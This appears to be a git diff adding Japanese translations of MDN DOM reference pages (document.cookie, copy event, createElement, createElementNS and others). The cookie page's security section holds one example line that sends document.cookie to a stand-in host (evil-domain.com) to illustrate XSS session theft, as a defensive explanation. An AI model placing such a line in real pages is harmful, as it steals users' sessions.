+ +<pre class="brush: html notranslate"><button onclick="doOnce()">Only do something once</button></pre> + +<p>{{EmbedLiveSample('Example_3_Do_something_only_once', 200, 36)}}</p> + +<h3 id="Example_4_Reset_the_previous_cookie" name="Example_4_Reset_the_previous_cookie">例 4: 前回のクッキーをリセット</h3> + +<pre class="brush: js notranslate">function resetOnce() { + document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT"; +}</pre> + +<pre class="brush: html notranslate"><button onclick="resetOnce()">Reset only once cookie</button></pre> + +<p>{{EmbedLiveSample('Example_4_Reset_the_previous_cookie', 200, 36)}}</p> + +<h3 id="Example_5_Check_a_cookie_existence" name="Example_5_Check_a_cookie_existence">例 5: クッキーの存在をチェック</h3> + +<pre class="brush: js notranslate">//ES5 + +if (document.cookie.split(';').some(function(item) { + return item.trim().indexOf('reader=') == 0 +})) { + console.log('The cookie "reader" exists (ES5)') +} + +//ES2016 + +if (document.cookie.split(';').some((item) => item.trim().startsWith('reader='))) { + console.log('The cookie "reader" exists (ES6)') +} +</pre> + +<h3 id="Example_6_Check_that_a_cookie_has_a_specific_value" name="Example_6_Check_that_a_cookie_has_a_specific_value">例 6: クッキーが特定の値を持っていることをチェック</h3> + +<pre class="brush: js notranslate">//ES5 + +if (document.cookie.split(';').some(function(item) { + return item.indexOf('reader=1') >= 0 +})) { + console.log('The cookie "reader" has "1" for value') +} + +//ES2016 + +if (document.cookie.split(';').some((item) => item.includes('reader=1'))) { + console.log('The cookie "reader" has "1" for value') +} +</pre> + +<h2 id="Security" name="Security">セキュリティ</h2> + +<p><code>path</code> 属性は、異なるパスによる認証されていないクッキーの読み込みから守ってくれ<em>ない</em>ということに注意することが重要です。これはシンプルな DOM で簡単にバイパスできます (たとえば、クッキーのパスとともに隠し {{HTMLElement("iframe")}} 要素を生成して、この iframe の <code>contentDocument.cookie</code> プロパティにアクセスします)。クッキーのアクセスを守る唯一の方法は、異なるドメインやサブドメインを使うことで、<a href="/ja/docs/Same_origin_policy_for_JavaScript">同一オリジンポリシー</a>を適用することです。</p> + +<p>クッキーは普段、ウェブアプリケーションでユーザーと認証されたセッションを識別するために使われます。そこで、ウェブアプリケーションからのクッキーを盗まれると、認証されたユーザーのセッションハイジャックにつながります。クッキーを盗むための一般的な方法は、ソーシャルエンジニアリングを使用するか、アプリケーション内の XSS 脆弱性の悪用です。</p> + +<pre class="brush: js notranslate">(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; +</pre> + +<p><code>HTTPOnly</code> クッキー属性は、 JavaScript からのクッキー値へのアクセスを防止することで、この攻撃を軽減することに役立ちます。より詳細情報は <a class="external" href="http://www.nczonline.net/blog/2009/05/12/cookies-and-security/">Cookies and Security</a> を見てください。</p> + +<h2 id="Notes" name="Notes">メモ</h2> + +<ul> + <li>Firefox 2 から、より良いクライアント側ストレージの機構を利用できます。 - <a href="/ja/docs/DOM/Storage">WHATWG DOM ストレージ</a>です。</li> + <li>有効期限を 0 に更新するだけで、クッキーを削除できます。</li> + <li>クッキーを持てば持つほど、サーバとクライアント間の通信で、より多くのデータが送信されることを忘れないでください。これはリクエストを遅くします。もし、クライアントだけにデータを持たせ続けたいなら、 <a href="/ja/docs/DOM/Storage">WHATWG DOM ストレージ</a> を使うことを強くお勧めします。</li> + <li><a href="http://www.ietf.org/rfc/rfc2965.txt">RFC 2965</a> (5.3 章, "Implementation Limits") は、クッキーのキーまたは値の長さについて<strong>最大長を設けない</strong>よう指定しており、 <strong>arbitrarily large cookies</strong> への対応を実装するよう勧めています。各ブラウザーの実装では最大値は異なっている可能性があるので、それぞれのブラウザーのドキュメントを参照してください。</li> +</ul> + +<p><code>document.cookie</code> アクセサープロパティの<a href="#Syntax">構文</a>は、クッキーのクライアント・サーバー型の性質によるもので、他のクライアント・クライアントストレージメソッド (例えば <a href="/ja/docs/Web/Guide/API/DOM/Storage">localStorage</a> など) とは異なります。</p> + +<h4 id="The_server_tells_the_client_to_store_a_cookie" name="The_server_tells_the_client_to_store_a_cookie">サーバーがクライアントにクッキーを格納するよう指示する</h4> + +<pre class="eval notranslate">HTTP/1.0 200 OK +Content-type: text/html +Set-Cookie: cookie_name1=cookie_value1 +Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT + +[content of the page here]</pre> + +<h4 id="The_client_sends_back_to_the_server_its_cookies_previously_stored" name="The_client_sends_back_to_the_server_its_cookies_previously_stored">クライアントが以前格納されたクッキーをサーバーに送り返す</h4> + +<pre class="eval notranslate">GET /sample_page.html HTTP/1.1 +Host: www.example.org +Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2 +Accept: */* +</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("DOM2 HTML", "html.html#ID-8747038", "Document.cookie")}}</td> + <td>{{Spec2("DOM2 HTML")}}</td> + <td>初回定義</td> + </tr> + <tr> + <td>{{SpecName("Cookie Prefixes")}}</td> + <td>{{Spec2("Cookie Prefixes")}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.cookie")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="/ja/docs/Web/HTTP/Cookies">HTTP Cookie</a></li> + <li><a href="/ja/docs/Web/Guide/API/DOM/Storage">DOM ストレージ</a></li> + <li><a href="/ja/docs/Web/API/URLUtils.pathname"><code>URLUtils.pathname</code></a></li> + <li>{{jsxref("Date.toUTCString()")}}</li> + <li><a href="/ja/docs/Web/HTTP"><code>HTTP</code></a></li> + <li><a href="/ja/docs/Code_snippets/Cookies">Cookie (コードスニペット)</a></li> + <li><a href="https://tools.ietf.org/html/rfc2965">RFC 2965</a></li> +</ul> diff --git a/files/ja/web/api/document/copy_event/index.html b/files/ja/web/api/document/copy_event/index.html new file mode 100644 index 0000000000..d52780b33f --- /dev/null +++ b/files/ja/web/api/document/copy_event/index.html @@ -0,0 +1,76 @@ +--- +title: 'Document: copy イベント' +slug: Web/API/Document/copy_event +tags: + - API + - Clipboard API + - Document + - Event + - Reference + - Web + - copy +translation_of: Web/API/Document/copy_event +--- +<div>{{APIRef}}</div> + +<p><span class="seoSummary"><strong><code>copy</code></strong> イベントは、ユーザーがブラウザーのユーザーインターフェイスからコピー操作を実行したときに発生します。</span></p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>あり</td> + </tr> + <tr> + <th scope="row">キャンセル</th> + <td>可</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("ClipboardEvent")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td>{{domxref("HTMLElement/oncopy", "oncopy")}}</td> + </tr> + </tbody> +</table> + +<p>このイベントの本来の対象は、コピー操作の意図の対象である {{domxref("Element")}} です。このイベントを {{domxref("Document")}} インターフェイス上で待ち受けし、キャプチャやバブリングの局面で処理することができます。このイベントの局面について完全な詳細は、 <a href="/en-US/docs/Web/API/Element/copy_event">Element: copy イベント</a>を参照してください。</p> + +<h2 id="Examples" name="Examples">例</h2> + +<pre class="brush: js">document.addEventListener('copy', (event) => { + console.log('copy action initiated') +});</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('Clipboard API', '#clipboard-event-copy')}}</td> + <td>{{Spec2('Clipboard API')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.copy_event")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>関連イベント: {{domxref("Document/cut_event", "cut")}}, {{domxref("Document/paste_event", "paste")}}</li> + <li>{{domxref("Element")}} を対象としたこのイベント: {{domxref("Element/copy_event", "copy")}}</li> + <li>{{domxref("Window")}} を対象としたこのイベント: {{domxref("Window/copy_event", "copy")}}</li> +</ul> diff --git a/files/ja/web/api/document/createcdatasection/index.html b/files/ja/web/api/document/createcdatasection/index.html new file mode 100644 index 0000000000..d1a374dfa4 --- /dev/null +++ b/files/ja/web/api/document/createcdatasection/index.html @@ -0,0 +1,67 @@ +--- +title: Document.createCDATASection() +slug: Web/API/Document/createCDATASection +tags: + - API + - DOM + - Method + - Reference +translation_of: Web/API/Document/createCDATASection +--- +<div>{{APIRef("DOM")}}</div> + +<p><strong><code>createCDATASection()</code></strong> は、新規 CDATA セクションを生成し返します。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox notranslate">var <var>CDATASectionNode</var> = <var>document</var>.createCDATASection(<var>data</var>); +</pre> + +<ul> + <li><var>CDATASectionNode</var> は <a href="/ja/docs/Web/API/CDATASection">CDATA セクション</a>のノードです。</li> + <li><var>data</var> は CDATA セクションに追加するデータを含む文字列です。</li> +</ul> + +<h2 id="Example" name="Example">例</h2> + +<pre class="brush:js notranslate">var docu = new DOMParser().parseFromString('<xml></xml>', 'application/xml') + +var cdata = docu.createCDATASection('Some <CDATA> data & then some'); + +docu.getElementsByTagName('xml')[0].appendChild(cdata); + +alert(new XMLSerializer().serializeToString(docu)); +// 表示結果: <xml><![CDATA[Some <CDATA> data & then some]]></xml> +</pre> + +<h2 id="Notes" name="Notes">注</h2> + +<ul> + <li>これは HTML ではなく、 XML の文書のみで動作します (HTML 文書は CDATA セクションに対応していません)。 HTML 文書でこれを用いた場合、 <code>NOT_SUPPORTED_ERR</code> がスローされます。</li> + <li>引数として渡す文字列データの一部に CDATA を閉じるシーケンス ("<code>]]></code>") が含まれている場合、 <code>NS_ERROR_DOM_INVALID_CHARACTER_ERR</code> 例外がスローされます。もしこの様な文字列が含まれる可能性がある場合、 {{domxref("document.createTextNode","createTextNode()")}} を用いることでこの問題を回避することが出来ます。</li> +</ul> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-document-createcdatasection', 'document.createCDATASection')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.createCDATASection")}}</p> diff --git a/files/ja/web/api/document/createcomment/index.html b/files/ja/web/api/document/createcomment/index.html new file mode 100644 index 0000000000..ec25987fcf --- /dev/null +++ b/files/ja/web/api/document/createcomment/index.html @@ -0,0 +1,60 @@ +--- +title: Document.createComment() +slug: Web/API/Document/createComment +tags: + - API + - DOM + - Method + - Reference +translation_of: Web/API/Document/createComment +--- +<div>{{APIRef("DOM")}}</div> + +<p><strong><code>createComment()</code></strong> は新たにコメントノードを作成し、返します。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox notranslate"><var>CommentNode</var> = <var>document</var>.createComment(<var>data</var>); +</pre> + +<h3 id="Parameters" name="Parameters">引数</h3> + +<dl> + <dt><var>data</var></dt> + <dd>文字列で、コメントに追加されるデータを含みます。</dd> +</dl> + +<h2 id="Example" name="Example">例</h2> + +<pre class="brush:js notranslate">var docu = new DOMParser().parseFromString('<xml></xml>', 'application/xml'); +var comment = docu.createComment('This is a not-so-secret comment in your document'); + +docu.getElementsByTagName('xml')[0].appendChild(comment); + +alert(new XMLSerializer().serializeToString(docu)); +// 表示結果: <xml><!--This is a not-so-secret comment in your document--></xml></pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-document-createcomment', 'document.createComment')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.createComment")}}</p> diff --git a/files/ja/web/api/document/createdocumentfragment/index.html b/files/ja/web/api/document/createdocumentfragment/index.html new file mode 100644 index 0000000000..3812ec0571 --- /dev/null +++ b/files/ja/web/api/document/createdocumentfragment/index.html @@ -0,0 +1,97 @@ +--- +title: Document.createDocumentFragment() +slug: Web/API/Document/createDocumentFragment +tags: + - API + - DOM + - Document + - Method + - Reference + - createDocumentFragment +translation_of: Web/API/Document/createDocumentFragment +--- +<p>{{APIRef("DOM WHATWG")}}</p> + +<p><span class="seoSummary">新しい空の {{domxref("DocumentFragment")}} を作成し、そこに DOM ノードを追加して画面外の DOM ツリーを作成します。</span></p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox notranslate">var <var>fragment</var> = document.createDocumentFragment(); +</pre> + +<h3 id="Value" name="Value">値</h3> + +<p>新しく作成された空の {{domxref("DocumentFragment")}} オブジェクトで、中にノードが挿入できるものです。</p> + +<h2 id="Usage_notes" name="Usage_notes">使用上の注意</h2> + +<p><code>DocumentFragment</code> は DOM の {{domxref("Node")}} オブジェクトですが、メインの DOM ツリーの一部にはなりません。通常の使い方は、文書フラグメントを生成し、その文書フラグメントに要素を追加して、その文書フラグメントを DOM ツリーへ追加することです。 DOM ツリー内では、文書フラグメントはすべての子要素によって置き換えられます。</p> + +<p>文書フラグメントは<em>メモリ内</em>にあり、メインの DOM ツリーの一部ではないため、文書フラグメントに子要素を追加してもページの<a href="https://developers.google.com/speed/articles/reflow?csw=1">リフロー</a> (要素の位置と大きさを決定するための計算) が行われません。そのため文書フラグメントを利用することによって、<a href="http://ejohn.org/blog/dom-documentfragments/">性能の改善</a>が見込まれます。</p> + +<p><code>DocumentFragment</code> コンストラクターを使用して新しいフラグメントを生成することもできます。</p> + +<pre class="brush: js notranslate">let fragment = new DocumentFragment();</pre> + +<h2 id="Example" name="Example">例</h2> + +<p>この例では、主要なウェブブラウザのリストを <code>DocumentFragment</code> 内に作成し、表示するドキュメントに新しい DOM サブツリーを追加しています。</p> + +<h3 id="HTML">HTML</h3> + +<pre class="brush: html notranslate"><ul id="ul"> +</ul></pre> + +<h3 id="JavaScript">JavaScript</h3> + +<pre class="brush: js notranslate">var element = document.getElementById('ul'); // ul が存在することを仮定 +var fragment = document.createDocumentFragment(); +var browsers = ['Firefox', 'Chrome', 'Opera', + 'Safari', 'Internet Explorer']; + +browsers.forEach(function(browser) { + var li = document.createElement('li'); + li.textContent = browser; + fragment.appendChild(li); +}); + +element.appendChild(fragment); +</pre> + +<h3 id="Result" name="Result">結果</h3> + +<p>{{EmbedLiveSample("Example", 600, 140)}}</p> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-document-createdocumentfragment', 'Document.createDocumentFragment()')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>DOM 1 仕様書にて初回定義</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div> +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.createDocumentFragment")}}</p> +</div> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{domxref("DOMImplementation.createDocument", "document.implementation.createDocument()")}}</li> + <li>{{domxref("documentFragment")}}</li> +</ul> diff --git a/files/ja/web/api/document/createelement/index.html b/files/ja/web/api/document/createelement/index.html new file mode 100644 index 0000000000..1c1e9c7ba8 --- /dev/null +++ b/files/ja/web/api/document/createelement/index.html @@ -0,0 +1,136 @@ +--- +title: Document.createElement() +slug: Web/API/Document/createElement +tags: + - API + - DOM + - Document + - Method + - Reference + - createElement + - メソッド +translation_of: Web/API/Document/createElement +--- +<div>{{APIRef("DOM")}}</div> + +<p><span class="seoSummary"><a href="/ja/docs/Web/HTML">HTML</a> 文書において、 <strong><code>document.createElement()</code></strong> メソッドは <var>tagName</var> で指定された HTML 要素を生成し、または <var>tagName</var> が認識できない場合は {{domxref("HTMLUnknownElement")}} を生成します。</span></p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="brush: js">var <var>element</var> = <var>document</var>.createElement(<var>tagName</var>[, <var>options</var>]); +</pre> + +<h3 id="Parameters" name="Parameters">引数</h3> + +<dl> + <dt><var>tagName</var></dt> + <dd>生成される要素の型を特定する文字列。生成される要素の {{domxref("Node.nodeName", "nodeName")}} は <var>tagName</var> の値で初期化されます。このメソッドで修飾名 ("html:a" など) を使用しないでください。 HTML 文書で呼び出すと、 <code>createElement()</code> は要素を生成する前に <var>tagName</var> を小文字に変換します。 Firefox, Opera, Chrome では、 <code>createElement(null)</code> は <code>createElement("null")</code> のように動作します。</dd> + <dt><var>options</var>{{optional_inline}}</dt> + <dd>省略可能な <code>ElementCreationOptions</code> オブジェクトで、 <code>is</code> という名前のプロパティをひとつ持ち、その値は前に <code>customElements.define()</code> を使用して定義したカスタム要素の名前です。詳しくは{{anch("Web component example", "ウェブコンポーネントの例")}}を参照してください。</dd> +</dl> + +<h3 id="Return_value" name="Return_value">返値</h3> + +<p>新しい {{domxref("Element")}}。</p> + +<h2 id="Example" name="Example">例</h2> + +<h3 id="Basic_example" name="Basic_example">基本的な例</h3> + +<p>この例では新しい <code><div></code> を生成し、"<code>div1</code>" の id の要素の前に挿入します。</p> + +<h4 id="HTML">HTML</h4> + +<pre class="brush:html"><!DOCTYPE html> +<html> +<head> + <title>||Working with elements||</title> +</head> +<body> + <div id="div1">The text above has been created dynamically.</div> +</body> +</html> +</pre> + +<h4 id="JavaScript">JavaScript</h4> + +<pre class="brush:js">document.body.onload = addElement; + +function addElement () { + // 新しい div 要素を作成します + var newDiv = document.createElement("div"); + // いくつかの内容を与えます + var newContent = document.createTextNode("Hi there and greetings!"); + // テキストノードを新規作成した div に追加します + newDiv.appendChild(newContent); + + // DOM に新しく作られた要素とその内容を追加します + var currentDiv = document.getElementById("div1"); + document.body.insertBefore(newDiv, currentDiv); +}</pre> + +<p>{{EmbedLiveSample("Basic_example", 500, 50)}}</p> + +<h3 id="Web_component_example" name="Web_component_example">ウェブコンポーネントの例</h3> + +<p>以下の例の断片は expanding-list-web-component の例から取ったものです (ライブでもご覧ください)。この場合、カスタム要素は {{domxref("HTMLUListElement")}} を拡張し、 {{htmlelement("ul")}} 要素を表します。</p> + +<pre class="brush: js">// Create a class for the element +class ExpandingList extends HTMLUListElement { + constructor() { + // Always call super first in constructor + super(); + + // constructor definition left out for brevity + ... + } +} + +// Define the new element +customElements.define('expanding-list', ExpandingList, { extends: "ul" });</pre> + +<p>この要素のインスタンスをプログラム的に生成したければ、次の行のような呼び出しを使用します。</p> + +<pre class="brush: js">let expandingList = document.createElement('ul', { is : 'expanding-list' })</pre> + +<p>新しい要素には <code><a href="/ja/docs/Web/HTML/Global_attributes/is">is</a></code> 属性が与えられ、その値はカスタム要素のタグ名になります。</p> + +<div class="note"> +<p><strong>注</strong>: <a href="https://www.w3.org/TR/custom-elements/">カスタム要素仕様書</a>の以前のバージョンととの後方互換性のため、一部のブラウザーはオブジェクトの代わりに文字列を渡すことを認めており、この文字列はカスタム要素のタグ名です。</p> +</div> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('DOM WHATWG', "#dom-document-createelement", "Document.createElement")}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.createElement")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{domxref("Node.removeChild()")}}</li> + <li>{{domxref("Node.replaceChild()")}}</li> + <li>{{domxref("Node.appendChild()")}}</li> + <li>{{domxref("Node.insertBefore()")}}</li> + <li>{{domxref("Node.hasChildNodes()")}}</li> + <li>{{domxref("document.createElementNS()")}} — 要素の名前空間 URI を明示的に指定するために使用</li> +</ul> diff --git a/files/ja/web/api/document/createelementns/index.html b/files/ja/web/api/document/createelementns/index.html new file mode 100644 index 0000000000..9943b32437 --- /dev/null +++ b/files/ja/web/api/document/createelementns/index.html @@ -0,0 +1,123 @@ +--- +title: Document.createElementNS() +slug: Web/API/Document/createElementNS +tags: + - API + - DOM + - Method + - Reference +translation_of: Web/API/Document/createElementNS +--- +<div>{{APIRef("DOM")}}</div> + +<p>指定された名前空間 URI と修飾名を持つ要素を生成します。</p> + +<p>名前空間 URI を指定せずに要素を生成する場合は、 {{DOMxRef("Document.createElement()", "createElement()")}} メソッドを使用してください。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox notranslate"><var>var element</var> = <var>document</var>.createElementNS(<var>namespaceURI</var>, <var>qualifiedName</var>[, <var>options</var>]); +</pre> + +<h3 id="Parameters" name="Parameters">引数</h3> + +<dl> + <dt><var>namespaceURI</var></dt> + <dd>文字列で、要素に関連付ける<a class="external" href="http://www.w3.org/TR/2004/REC-DOM-Level-3-Core-20040407/glossary.html#dt-namespaceURI">名前空間 URI</a> を指定します。生成される要素の {{DOMxRef("element.namespaceURI", "namespaceURI")}} プロパティは <var>namespaceURI</var> の値で初期化されます。<a href="#Important_Namespace_URIs">妥当な名前空間 URI</a> も参照してください。</dd> + <dt><var>qualifiedName</var></dt> + <dd>文字列で、生成される要素の型を指定します。生成される要素の {{DOMxRef("element.nodeName", "nodeName")}} プロパティは、 <var>qualifiedName</var> の値で初期化されます。</dd> + <dt><var>options</var>{{Optional_Inline}}</dt> + <dd>任意の <code>ElementCreationOptions</code> オブジェクトで、 <code>is</code> という名前の単一のプロパティを持ち、その値として以前に <code>customElements.define()</code> を使用して定義されたカスタム要素のタグ名を設定します。以前のバージョンの <a class="external external-icon" href="https://www.w3.org/TR/custom-elements/">Custom Elements specification</a> との後方互換性のため、ブラウザーによってはここにオブジェクトの代わりに、文字列を渡すことができ、その文字列の値はカスタム要素のタグ名になります。この引数の使い方について詳しい情報は、 <a class="external external-icon" href="https://developers.google.com/web/fundamentals/primers/customelements/#extendhtml">Extending native HTML elements</a> を参照してください。</dd> + <dd>新しい要素には <code>is</code> 属性が与えられ、値はカスタム要素のタグ名になります。カスタム要素は一部のブラウザーのみで利用できる試行的な機能です。</dd> +</dl> + +<h3 id="Return_value" name="Return_value">返値</h3> + +<p>The new {{DOMxRef("Element")}}.</p> + +<h2 id="Important_Namespace_URIs" name="Important_Namespace_URIs">重要な名前空間 URI</h2> + +<dl> + <dt><a href="/ja/docs/Web/HTML">HTML</a></dt> + <dd><code>http://www.w3.org/1999/xhtml</code></dd> + <dt><a href="/ja/docs/Web/SVG">SVG</a></dt> + <dd><code>http://www.w3.org/2000/svg</code></dd> + <dt><a href="/ja/docs/Web/MathML">MathML</a></dt> + <dd><code>http://www.w3.org/1998/Math/MathML</code></dd> + <dt><a href="/ja/docs/Mozilla/Tech/XUL">XUL</a> {{Non-standard_Inline}}</dt> + <dd><code>http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</code></dd> + <dt><a href="/ja/docs/Mozilla/Tech/XBL">XBL</a> {{Non-standard_Inline}} {{Deprecated_Inline}}</dt> + <dd><code>http://www.mozilla.org/xbl</code></dd> +</dl> + +<h2 id="Example" name="Example">例</h2> + +<p>これは新しい <div> 要素を {{Glossary("XHTML")}} 名前空間に生成し、 vbox 要素に追加します。これは有用な <a href="/ja/docs/Mozilla/Tech/XUL">XUL</a> 文書ではありませんが、二つの異なる名前空間の要素を単一の文書内で利用する方法を紹介しています。</p> + +<pre class="brush: xml notranslate"><?xml version="1.0"?> +<page xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" + xmlns:html="http://www.w3.org/1999/xhtml" + title="||Working with elements||" + onload="init()"> + +<script type="application/javascript"><![CDATA[ + let container; + let newdiv; + let txtnode; + + function init(){ + container = document.getElementById("ContainerBox"); + newdiv = document.createElementNS("http://www.w3.org/1999/xhtml", "div"); + txtnode = document.createTextNode("This is text that was constructed dynamically with createElementNS and createTextNode then inserted into the document using appendChild."); + newdiv.appendChild(txtnode); + container.appendChild(newdiv); + } + +]]></script> + + <vbox id="ContainerBox" flex="1"> + <html:div> + The script on this page will add dynamic content below: + </html:div> + </vbox> + +</page> +</pre> + +<div class="blockIndicator note"> +<p>上記の例は XHTML 文書では推奨されていないインラインスクリプトを使用しています。この部分的な例は実際には XUL 文書に埋め込んだ XHTML があるものですが、それでもこの推奨事項は適用されます。</p> +</div> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("DOM WHATWG", "#dom-document-createelementns", "Document.createElementNS()")}}</td> + <td>{{Spec2("DOM WHATWG")}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<div>{{Compat("api.Document.createElementNS")}}</div> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{DOMxRef("document.createElement()")}}</li> + <li>{{DOMxRef("document.createTextNode()")}}</li> + <li>{{DOMxRef("Node.namespaceURI")}}</li> + <li><a class="external" href="http://www.w3.org/TR/1999/REC-xml-names-19990114">Namespaces in XML</a></li> +</ul> diff --git a/files/ja/web/api/document/createentityreference/index.html b/files/ja/web/api/document/createentityreference/index.html new file mode 100644 index 0000000000..ab29c22cde --- /dev/null +++ b/files/ja/web/api/document/createentityreference/index.html @@ -0,0 +1,25 @@ +--- +title: Document.createEntityReference() +slug: Web/API/Document/createEntityReference +tags: + - API + - DOM + - Obsolete + - Reference + - メソッド + - 廃止 +translation_of: Web/API/Document/createEntityReference +--- +<div>{{ApiRef("DOM")}} {{obsolete_header("7.0")}}</div> + +<p>{{gecko("7.0")}} より前では、このメソッドはバグ {{bug("9850")}} の影響で、常に null のみを返すものとして登場しました。唯一の用途は、テキストノード、 CDATA セクション、属性ノード値など、エンティティから <a href="/ja/JavaScript/Guide/Obsolete_Pages/Unicode#Unicode_escape_sequences">Unicode エスケープシーケンス</a> または {{jsxref("String.fromCharCode", "fromCharCode()")}} を使用して参照される値があるもののみでした。</p> + +<h2 id="Specification" name="Specification">仕様書</h2> + +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-392B75AE">createEntityReference</a></p> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.createEntityReference")}}</p> diff --git a/files/ja/web/api/document/createevent/index.html b/files/ja/web/api/document/createevent/index.html new file mode 100644 index 0000000000..a439ccf6dd --- /dev/null +++ b/files/ja/web/api/document/createevent/index.html @@ -0,0 +1,109 @@ +--- +title: Document.createEvent() +slug: Web/API/Document/createEvent +tags: + - API + - DOM + - Document + - Method + - Reference + - createEvent + - メソッド +translation_of: Web/API/Document/createEvent +--- +<div class="warning"> +<p><code>initCustomEvent</code> など、<code>createEvent</code> とともに使用される多くのメソッドは非推奨です。代わりに <a href="/ja/docs/Web/API/CustomEvent">イベントのコンストラクター</a> を使用してください。</p> +</div> + +<div>{{ApiRef("DOM")}}</div> + +<p>指定された型の <a 